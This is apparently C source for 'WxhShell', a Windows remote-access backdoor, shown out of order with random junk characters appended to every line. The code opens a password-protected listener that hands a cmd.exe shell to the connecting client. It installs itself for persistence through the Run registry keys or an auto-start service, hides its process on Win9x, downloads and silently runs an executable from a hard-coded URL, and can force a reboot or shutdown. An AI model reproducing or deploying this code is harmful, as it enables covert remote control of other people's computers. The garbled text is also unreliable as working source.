    if(Boot(SHUTDOWN)) z:=E- +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<HLw.4O  
    else { ;]k\F  
    closesocket(wsh); (gIFuOGi>  
    ExitThread(0); ;*hVAxs1  
    } ! F<::fN  
    break; 7g:Lj,Z4L  
    } -@@ O<M^  
  // 获取shell 53>(2 _/[r  
  case 's': { <d O ~;  
    CmdShell(wsh); LI<Emez  
    closesocket(wsh); G8'  
    ExitThread(0); ab`9MJc;  
    break; 5!aI~(3<  
  } ~[=d{M!$W  
  // 退出 D=K{(0{"/,  
  case 'x': { G @EEh.s9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v`S ;.iD  
    CloseIt(wsh); O$N;a9g  
    break; ;.^! 7j  
    } /PbMt  
  // 离开 7}e5ac  
  case 'q': { 5Pf)&iG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); % bKy  
    closesocket(wsh); gLg.mV1<  
    WSACleanup(); <$ qT(3w<y  
    exit(1); #fk1'c2  
    break;  ^Vf@J  
        } a^_W}gzzd  
  } wc-v]$DW  
  } Ai)>ot  
H?,Dv>.#*  
  // 提示信息 14A(ZWwq9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?f6SKC  
} Ti7 @{7>  
  } cP\ZeG#<  
=RZ PDu  
  return; ZXXJ!9-&+J  
} ]Inu'p\  
))<vCfuz2  
// shell模块句柄  S9^S W3  
int CmdShell(SOCKET sock) 3Pp+>{2_?  
{ Wf-XH|j[  
STARTUPINFO si; \.>7w 1p  
ZeroMemory(&si,sizeof(si)); zF|c3ap  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CH q5KB98+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uy*d@vU9c  
PROCESS_INFORMATION ProcessInfo; A 8-a}0Gh  
char cmdline[]="cmd"; N1$PW~)Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !yr4B "kz  
  return 0; f'*/IG  
} (?TK P 7  
`P <#kt  
// 自身启动模式 IusZYB  
int StartFromService(void) :*^aSPlV  
{ 7{7Y[F0  
typedef struct 9EY`j,{4  
{ rz&'wCiOO  
  DWORD ExitStatus; ;-BN~1Jg  
  DWORD PebBaseAddress; \En"=)A  
  DWORD AffinityMask; BoOuN94  
  DWORD BasePriority; u~>G8y)k9O  
  ULONG UniqueProcessId; gXU(0(Gq  
  ULONG InheritedFromUniqueProcessId; |Y?<58[!)  
}   PROCESS_BASIC_INFORMATION; 5<Uh2c  
W*Ow%$%2  
PROCNTQSIP NtQueryInformationProcess; %I{>H%CjE  
6J@,bB jVz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y4$$*oai&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xfbr;Jt"<  
^Wn+G8n  
  HANDLE             hProcess; jatlv/,  
  PROCESS_BASIC_INFORMATION pbi; )y i~p  
G B"Orm.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #`!mQSK  
  if(NULL == hInst ) return 0; agE-,  
|=KzQY|u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f=VlO d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6 EfBz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :RxMZwa=  
s:_a.4&Y  
  if (!NtQueryInformationProcess) return 0; g$zGiqzMK  
H=w):kL|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vVIN D  
  if(!hProcess) return 0; g'{?j~g  
Ryh 0r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (:O6sTx-hE  
z]-m<#1  
  CloseHandle(hProcess); &328pOT4  
"6U@e0ht  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <QC7HR  
if(hProcess==NULL) return 0; uPapINj  
sINf/mv+  
HMODULE hMod; #I*{_|}=  
char procName[255]; 9Kg yt  
unsigned long cbNeeded; *SIYZE'  
Vh2uzG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x*RSD,3  
7l[ @c|e  
  CloseHandle(hProcess); i$`o,m#  
12?!Z  
if(strstr(procName,"services")) return 1; // 以服务启动 wa{!%qu5.R  
m#i4_F=^b  
  return 0; // 注册表启动 e|5@7~Vi  
} -iY-rzW  
`#wEa'v6  
// 主模块 N ~fE&@-  
int StartWxhshell(LPSTR lpCmdLine) ULBEe@ s  
{ =wW M\f`=  
  SOCKET wsl; |=0w_)Fa]  
BOOL val=TRUE; </@5>hx/  
  int port=0; Kf}*Ij  
  struct sockaddr_in door; 43-Bx`6\  
Bg[yn<) ]  
  if(wscfg.ws_autoins) Install(); $Dx*[.M3>  
b/Ma,}  
port=atoi(lpCmdLine); z wRF-{s  
8 hhMuh  
if(port<=0) port=wscfg.ws_port; &BNlMF  
sD2,!/'  
  WSADATA data; v\MQ?VC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :uB?h1|  
ao=e{R)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mqHH1}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WVhQ?2@}  
  door.sin_family = AF_INET; !Ur.b @ke  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " DLIx}  
  door.sin_port = htons(port); 5c(g7N  
" C&>$h_%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 54JZOtC3~  
closesocket(wsl); bvrXz-j  
return 1; - 0q263z  
} _9H]:]1QH  
/; /:>c  
  if(listen(wsl,2) == INVALID_SOCKET) { 9N{?J"ido  
closesocket(wsl); hkm}oYW+  
return 1; ,c$tKj5ulQ  
} ujkWVE'  
  Wxhshell(wsl); _b>{:H&\  
  WSACleanup(); g6aqsa  
@ S[As~9X  
return 0; YVv E>1z  
Yy 0" G  
} @ext6cFe3<  
r&B0 -7r  
// 以NT服务方式启动 6}Tftw$0z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iY?#R&  
{ _&U#*g  
DWORD   status = 0; 9-q> W  
  DWORD   specificError = 0xfffffff; *PV7s  
(V&d:tW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9}a$0H h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]\A=[T^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]!P8{xmb@  
  serviceStatus.dwWin32ExitCode     = 0; S]|sK Y  
  serviceStatus.dwServiceSpecificExitCode = 0; rc<Ix  
  serviceStatus.dwCheckPoint       = 0; d4ld-y  
  serviceStatus.dwWaitHint       = 0; OIpT9  
vu.?@k@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @#hvQ6u  
  if (hServiceStatusHandle==0) return; = M4:nt  
iR./9}Ze  
status = GetLastError(); =T6 ~89  
  if (status!=NO_ERROR) ^b`-zFL7  
{ ,Eh]Zv1 AE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XNfl  
    serviceStatus.dwCheckPoint       = 0; _'1 ]CoR  
    serviceStatus.dwWaitHint       = 0; 9ZU^([@D  
    serviceStatus.dwWin32ExitCode     = status; f=Pn,.>tIz  
    serviceStatus.dwServiceSpecificExitCode = specificError; _deEs5i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /SS~IhUX  
    return; J?X{NARt  
  } fe`_0lxj  
_[rQt8zn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M  |h B[  
  serviceStatus.dwCheckPoint       = 0; j$XaO%y)  
  serviceStatus.dwWaitHint       = 0; v=hn# U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xyM|q9Gf@  
} &0y` Gt  
&Wb"/Hn2  
// 处理NT服务事件,比如:启动、停止 "u^vBd[}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .U@u |  
{ ~$C<^?"b  
switch(fdwControl) Y/I)ECm  
{ m%[/w wL  
case SERVICE_CONTROL_STOP: AkW>*x  
  serviceStatus.dwWin32ExitCode = 0; x3`JC&hF,q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WjK[% ;Z!  
  serviceStatus.dwCheckPoint   = 0; ok:L]8UN 3  
  serviceStatus.dwWaitHint     = 0; z,E`+a;  
  { 3)#Nc|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #}@8(>T  
  } Ee7+ob  
  return; L[ D+=  
case SERVICE_CONTROL_PAUSE: {~FPvmj&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "+7E9m6I  
  break; GiM-8y~  
case SERVICE_CONTROL_CONTINUE: Dt(D5A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OaY89ko  
  break; ){#INmsF  
case SERVICE_CONTROL_INTERROGATE: V>Z4gZp5sc  
  break; U_izKvEh  
}; y9/nkF1p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @#N7M2/  
} PWx%~U.8~j  
@MTv4eC}e  
// 标准应用程序主函数 sF[gjeIb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X])iQyN  
{ Nb !i_@m%s  
<bo)p6S&  
// 获取操作系统版本 v6=%KXSF  
OsIsNt=GetOsVer(); o8<~zeI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KN657 |f  
un~`|   
  // 从命令行安装 l5VRdZ4Uf  
  if(strpbrk(lpCmdLine,"iI")) Install(); & C)1(  
,lvG5B\0  
  // 下载执行文件 %dW ;P[0  
if(wscfg.ws_downexe) { uQx/o ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B|"i`{>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Keo<#Cc?  
} hF@%k ;I  
zng.(]U/?H  
if(!OsIsNt) { ovM;6o  
// 如果时win9x,隐藏进程并且设置为注册表启动 n YUFRV$  
HideProc(); (.@peHu)#  
StartWxhshell(lpCmdLine); =M*pym]QSY  
} -2[4 @  
else BgT ^  
  if(StartFromService()) S#8)N`  
  // 以服务方式启动 TB.>?*<n]  
  StartServiceCtrlDispatcher(DispatchTable); - QY<o|  
else W]7<PL*u  
  // 普通方式启动 i\/'w]  
  StartWxhshell(lpCmdLine); 3~3tjhw;]9  
NNqvjM-  
return 0; @M-w8!.~  
} }}]Lf3;  
_Y&.Nw  
6=$<R4B  
Lhux~,EH  
=========================================== OOXSJE1  
2P8wvNDG  
w5PscEc  
oNPvksdC;  
P)f8 lU^z  
g&F$hm  
" Q"{Dijc%  
.(cpYKFX  
#include <stdio.h> yUo8-OaL7  
#include <string.h> {'M/wT)FeC  
#include <windows.h> p2rT0gu!  
#include <winsock2.h> ^c}3o|1m(  
#include <winsvc.h> N1c 0>{  
#include <urlmon.h> PcT]  
DMch88W  
#pragma comment (lib, "Ws2_32.lib") =0EKrG  
#pragma comment (lib, "urlmon.lib") O9By5j 4  
fUWrR1  
#define MAX_USER   100 // 最大客户端连接数 zw+wq+2"  
#define BUF_SOCK   200 // sock buffer Hqs-q4G$  
#define KEY_BUFF   255 // 输入 buffer gAztdA sLM  
N_B^k8j  
#define REBOOT     0   // 重启 q|]CA  
#define SHUTDOWN   1   // 关机 _wb]tE ~g  
BRY/[QRqZ  
#define DEF_PORT   5000 // 监听端口 -['& aey}a  
WZ,k][~  
#define REG_LEN     16   // 注册表键长度 ;4b=/1M'  
#define SVC_LEN     80   // NT服务名长度 ^ /G ;  
d-Z2-89K  
// 从dll定义API ~<K,P   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jG{?>^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 08^f|K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `!I/6d?A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )=K8mt0qob  
U@yhFj_y  
// wxhshell配置信息 ~%h )G#N  
struct WSCFG { |?^qs nB  
  int ws_port;         // 监听端口 A. tGr(r  
  char ws_passstr[REG_LEN]; // 口令 }ixCbuD  
  int ws_autoins;       // 安装标记, 1=yes 0=no z{1A x  
  char ws_regname[REG_LEN]; // 注册表键名 UTu~"uCR  
  char ws_svcname[REG_LEN]; // 服务名 \VOv&s;h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 viYrPhH+z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YfT D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z>y6[o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b~tu;:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qfCZ [D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 __tA(uA  
0Mn |Yb4p  
}; !^MwE]  
ue7D' UZL>  
// default Wxhshell configuration \Q}Y"oq  
struct WSCFG wscfg={DEF_PORT, U.~G{H`G,u  
    "xuhuanlingzhe", Fyw X  
    1, u5rvrn ]  
    "Wxhshell", ZaY|v-  
    "Wxhshell", <h#W*a  
            "WxhShell Service", )ej1)RU"  
    "Wrsky Windows CmdShell Service", H"w;~;h  
    "Please Input Your Password: ", ;Qt/(/  
  1, ](s5 ;ta   
  "http://www.wrsky.com/wxhshell.exe", .K4)#oC  
  "Wxhshell.exe" v+g:0 C5 (  
    }; x(EwHg>;  
mpk+]n@  
// 消息定义模块 7DK}c]js  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RaSuzy^`*]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -UidU+ES;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0 !%G #~th  
char *msg_ws_ext="\n\rExit."; %?+Lkj&  
char *msg_ws_end="\n\rQuit."; ! a\v)R  
char *msg_ws_boot="\n\rReboot..."; )XSHKPTQ1  
char *msg_ws_poff="\n\rShutdown..."; T&6>Eb0{  
char *msg_ws_down="\n\rSave to "; .Y7Kd+)s)L  
=BR+J9  
char *msg_ws_err="\n\rErr!"; W(ryL_#;  
char *msg_ws_ok="\n\rOK!"; ,jz~Np_2  
=?y0fLTc  
char ExeFile[MAX_PATH]; ]CcRI|g}  
int nUser = 0; _\k?uUo&,^  
HANDLE handles[MAX_USER]; ;! ?l8R  
int OsIsNt; 1@LUxU#Uu$  
J"E _i]  
SERVICE_STATUS       serviceStatus; s1[.L~;J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~e,l2 <  
~cO iv  
// 函数声明 vdUKIP =|_  
int Install(void); .UX4p =  
int Uninstall(void); 5cA:;{z];g  
int DownloadFile(char *sURL, SOCKET wsh); v]Pyz<+  
int Boot(int flag); k&5T-\q  
void HideProc(void); 7;TMxO=bra  
int GetOsVer(void); J{a9pr6  
int Wxhshell(SOCKET wsl); JBc*m  
void TalkWithClient(void *cs); u Uq= L  
int CmdShell(SOCKET sock); l-c:'n  
int StartFromService(void); &D-z|ZjgHi  
int StartWxhshell(LPSTR lpCmdLine); #d[Nm+~ko  
& uwOyb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VR"le&'z"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); St!0MdCH  
K@[Hej6d  
// 数据结构和表定义 T ?A3f]U  
SERVICE_TABLE_ENTRY DispatchTable[] =  <{ v %2  
{ A+H8\ew2,  
{wscfg.ws_svcname, NTServiceMain}, l\N2C4NG  
{NULL, NULL} E%8uQ2p(  
}; JURu>-i  
l9j= ;h  
// 自我安装 s 8K.A~5 w  
int Install(void) F"M/gy  
{ [h B$%i]\<  
  char svExeFile[MAX_PATH]; hop| xtai;  
  HKEY key; XGe;v~L  
  strcpy(svExeFile,ExeFile); -Mrt%1g  
&k_LK  
// 如果是win9x系统,修改注册表设为自启动 7KUf,0D  
if(!OsIsNt) { v \; /P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 .j/D^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F_w+8)DZ  
  RegCloseKey(key); Bnwq!i!M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JP( tf+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;C1#[U1Uy  
  RegCloseKey(key); *m>[\)  
  return 0; ^gyI-S(;  
    } N5K2Hv<"  
  } K3=0D!Dq  
} BL>~~  
else { ~9k E.  
^  ~1QA  
// 如果是NT以上系统,安装为系统服务 s%vy^x29  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qW4\t  
if (schSCManager!=0) "D4% A!i  
{ (s|WmSQ  
  SC_HANDLE schService = CreateService oy[ px9Wx  
  ( (w"(RM~  
  schSCManager, WQ:Y NmQ1p  
  wscfg.ws_svcname, GZx*A S]+  
  wscfg.ws_svcdisp, UNv!G/i-5  
  SERVICE_ALL_ACCESS, /7+b.h])^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =\5f_g2M  
  SERVICE_AUTO_START, G[u6X_Q  
  SERVICE_ERROR_NORMAL, yEh{9S%6p  
  svExeFile, n dN*X'  
  NULL, E|RC|Sz=u  
  NULL, "+&pd!\  
  NULL, up8d3  
  NULL, >e.KD) qA  
  NULL #J5_z#-Q;  
  ); U6H3T0#  
  if (schService!=0) /f oI.S  
  { D(<0tU^[  
  CloseServiceHandle(schService); L"S2+F)n  
  CloseServiceHandle(schSCManager); B2LXF3#/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y|0/;SjV  
  strcat(svExeFile,wscfg.ws_svcname); p0CPeH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WL,2<[)Ew  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c 8Q2H  
  RegCloseKey(key); ]b1>bv%  
  return 0; N|"kuRN#  
    } jyyig%  
  } b9T6JS j  
  CloseServiceHandle(schSCManager); Y+$]N:\F\  
} )~"0d;6_  
} : #n>Q1}x  
Tw*p^rU  
return 1; 7042?\\=  
} a ^juZ  
 H4YA  
// 自我卸载 &~B8~U4%  
int Uninstall(void) Ii/{xVMD  
{ K]yWpW  
  HKEY key; ",Mrdxn7  
9FNsW$b?  
if(!OsIsNt) { /$\8?<Pc".  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z"7X.*]  
  RegDeleteValue(key,wscfg.ws_regname); &IRM<A!8  
  RegCloseKey(key); 4!96k~d}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MwQt/Qv=  
  RegDeleteValue(key,wscfg.ws_regname); fiU#\%uJg  
  RegCloseKey(key); ?Oy0p8  
  return 0; cCx{ ")  
  } ,-(D (J;}1  
} Ayn$,  
} NZ!I >  
else { {=gJGP/}_  
./'d^9{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eMV8`&c'  
if (schSCManager!=0) @y * TVy  
{ rHOhi|+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `e3$jy@  
  if (schService!=0) JwWxM3(%t  
  { T9kc(i'  
  if(DeleteService(schService)!=0) { SH8zkAA7u}  
  CloseServiceHandle(schService); B#5[PX  
  CloseServiceHandle(schSCManager); FK-q-PKO#.  
  return 0; jpW_q+^?  
  } gyh8  
  CloseServiceHandle(schService); V=1zk-XC  
  } |:2B)X  
  CloseServiceHandle(schSCManager); E&@#*~   
} g$hEVT  
} b<"jmB{  
WMWMb3  
return 1; QSM3qke  
} R(P(G;#j  
0sme0"Sl  
// 从指定url下载文件 9pS:#hg  
int DownloadFile(char *sURL, SOCKET wsh) i -@V  
{ R@_3?Z!W=  
  HRESULT hr; sD{Wc%5  
char seps[]= "/"; kw2d< I$]  
char *token; 0mmHN`<  
char *file; 7ju38@+  
char myURL[MAX_PATH]; r[GH#vF;7  
char myFILE[MAX_PATH]; XsFzSm  
WT1y7+_g(d  
strcpy(myURL,sURL); T 7qHw!)  
  token=strtok(myURL,seps); asmu<  
  while(token!=NULL) anfnqa8  
  { #&L7FBJ"*v  
    file=token; 4ZR2U3jd1  
  token=strtok(NULL,seps); 3=Rk(%:;  
  } 5e7\tBab  
=43NSY  
GetCurrentDirectory(MAX_PATH,myFILE); L8 NZU*"  
strcat(myFILE, "\\"); OZ"76|H1`  
strcat(myFILE, file); !g=b=YK  
  send(wsh,myFILE,strlen(myFILE),0); s&$e}yxVO  
send(wsh,"...",3,0); = 8y,7u)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jWh)bsqI!  
  if(hr==S_OK) !)W#|sys&  
return 0; ]Ge>S?u  
else Y(?SE< 4R  
return 1; |68/FJZ,5  
-O-?hsV)y  
} ObS#aRq  
&uBf sa$  
// 系统电源模块 B8.}9  
int Boot(int flag) a+a6P5kJ  
{ co^h2b  
  HANDLE hToken; zzW$F)X  
  TOKEN_PRIVILEGES tkp; l]&x~K}  
rw gj]  
  if(OsIsNt) { ^L7!lzyo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R1<$VR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^~@3X[No  
    tkp.PrivilegeCount = 1; ;<GxonIV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JV'aqnb.8\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j*4:4B%  
if(flag==REBOOT) { Eelv i5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @>J(1{m=Gy  
  return 0; 3/]FT#l]i  
} W@'*G*f  
else { b^ [ z'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $MfRw  
  return 0;  ?<8c  
} \n^[!e"`  
  } pFwJ:  
  else { /<(-lbq,  
if(flag==REBOOT) { KHJ wCv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C=cn .CX  
  return 0; VhAJ1[k4!  
} pQC|_T#u  
else { s| Q1;%T j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *n[B Bz  
  return 0; c813NHW  
} X-TGrdoX  
} +o"CMI  
R(cg`8  
return 1; .c__T {<)[  
} d\JB jT1g  
S'NLj(  
// win9x进程隐藏模块 ]IeLKcn  
void HideProc(void) gMkSl8[  
{ UK*v\TMv  
4*5e0:O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WXDo`_{R  
  if ( hKernel != NULL ) `Lavjmfr2V  
  { LEOa=(mN\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l+hOD{F4pS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Em5,Zr_  
    FreeLibrary(hKernel); u%I%4 gM  
  } #e,TS`"eD  
kp}[nehF  
return; s@y;b0$gk  
} oGl<i  
tLq]#9kL  
// 获取操作系统版本 U[8F{LX  
int GetOsVer(void) ^&8hhxCPu|  
{ {~s\a2YH  
  OSVERSIONINFO winfo; I;eoy,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eO*s,*  
  GetVersionEx(&winfo); RO%M9LISI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !y'>sAf  
  return 1; Ht\2 IP  
  else "Jg.)1Jw  
  return 0; H270)Cwn+  
} k*\)z\f  
gFu,q`Vf*  
// 客户端句柄模块 W3\E; C-g0  
int Wxhshell(SOCKET wsl) 2 >j0,2  
{ YPNW%N!$|  
  SOCKET wsh; -/0\_zq7  
  struct sockaddr_in client; Q4a7g$^  
  DWORD myID; e#mqerpJ  
2k^rZ^^"  
  while(nUser<MAX_USER) }Q]-Y :  
{ @pYC!;n+  
  int nSize=sizeof(client); la!U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -"i $^Q`  
  if(wsh==INVALID_SOCKET) return 1; rXE0jTf:a  
[6_.Y*}N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  .P")S|  
if(handles[nUser]==0) mU?~s7  
  closesocket(wsh); uozq^sy  
else 7DoU7I\u  
  nUser++; |0}7/^  
  } WVOj ;c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %iEdUV\$  
NqNU:_}  
  return 0; ~1twGG_;  
} }HmkTk  
P3Lsfi.  
// 关闭 socket yg* #~,  
void CloseIt(SOCKET wsh) W83PMiN"T-  
{ \b8#xT}  
closesocket(wsh); V@b7$z  
nUser--; H^@Hco>|  
ExitThread(0); H-v[ShE  
} %Q &']  
F'|e:h  
// 客户端请求句柄 ?CC.xE  
void TalkWithClient(void *cs) T6=|)UTe1  
{ V+@}dJS  
,Tegrz&G  
  SOCKET wsh=(SOCKET)cs; y"'p#j  
  char pwd[SVC_LEN]; KF1iYo>p  
  char cmd[KEY_BUFF]; [)GRP  
char chr[1]; -$0}rfX  
int i,j; ?~t5>PEonv  
!k*B-@F  
  while (nUser < MAX_USER) { _5~|z$GW  
7iwck.*  
if(wscfg.ws_passstr) { dh [kx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \/;c^!(<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fR'!p: ~  
  //ZeroMemory(pwd,KEY_BUFF); bn8maYUZ  
      i=0; fHEIys,{  
  while(i<SVC_LEN) { z 5(5\j]  
"c]9Q%  
  // 设置超时 {k-_+#W"  
  fd_set FdRead; <#nU 06 fN  
  struct timeval TimeOut; b$fmU"%&|  
  FD_ZERO(&FdRead); ^L)3O|6c  
  FD_SET(wsh,&FdRead); 9lR6:}L7  
  TimeOut.tv_sec=8; V;"2=)X  
  TimeOut.tv_usec=0; I *sT*;U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h9<PP2.(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1hgIR^;[b  
,pdzi9@=t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &y=OZ !M  
  pwd=chr[0]; 3%1wQXr0  
  if(chr[0]==0xd || chr[0]==0xa) { A46q`l9B  
  pwd=0; jdu6P+_8n  
  break; lnyq%T[^  
  } 9< 07# 8c.  
  i++; e@0|fB%2  
    } knG:6tQ  
O TlqJ  
  // 如果是非法用户,关闭 socket oST)E5X;7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eLORG(;h4  
} 7=}tJ  
r0lI&25w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tgtym"=xd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DzE^FY  
Y<VX.S2kf  
while(1) { eaDZ^Z Er  
MZ-;'w&Z  
  ZeroMemory(cmd,KEY_BUFF); |UWIV  
eZ]r"_?  
      // 自动支持客户端 telnet标准   /*Q3=Dse]  
  j=0; X=)L$Kd7  
  while(j<KEY_BUFF) { *<:X3|3E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (_@5V_U  
  cmd[j]=chr[0]; <ml?DXT  
  if(chr[0]==0xa || chr[0]==0xd) { N~ CQh=<  
  cmd[j]=0; |^UQVNJ  
  break; )^s> 21  
  } ;7?oJH;  
  j++; H,w8+vZ4\  
    } wZ\93W-}  
X;6;v]  
  // 下载文件 #xu1 eX0<  
  if(strstr(cmd,"http://")) { =0Y0o_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UR _Ty59  
  if(DownloadFile(cmd,wsh)) `Kf@<=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !h7:rv/  
  else *qSvSY*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zx=eqN@!@  
  } 36+/MvIT  
  else { a BMV6'  
pqpsa'  
    switch(cmd[0]) { ?#:']q  
  *f;$5B#^  
  // 帮助 dO1 m  
  case '?': { PDA9.b<q0  
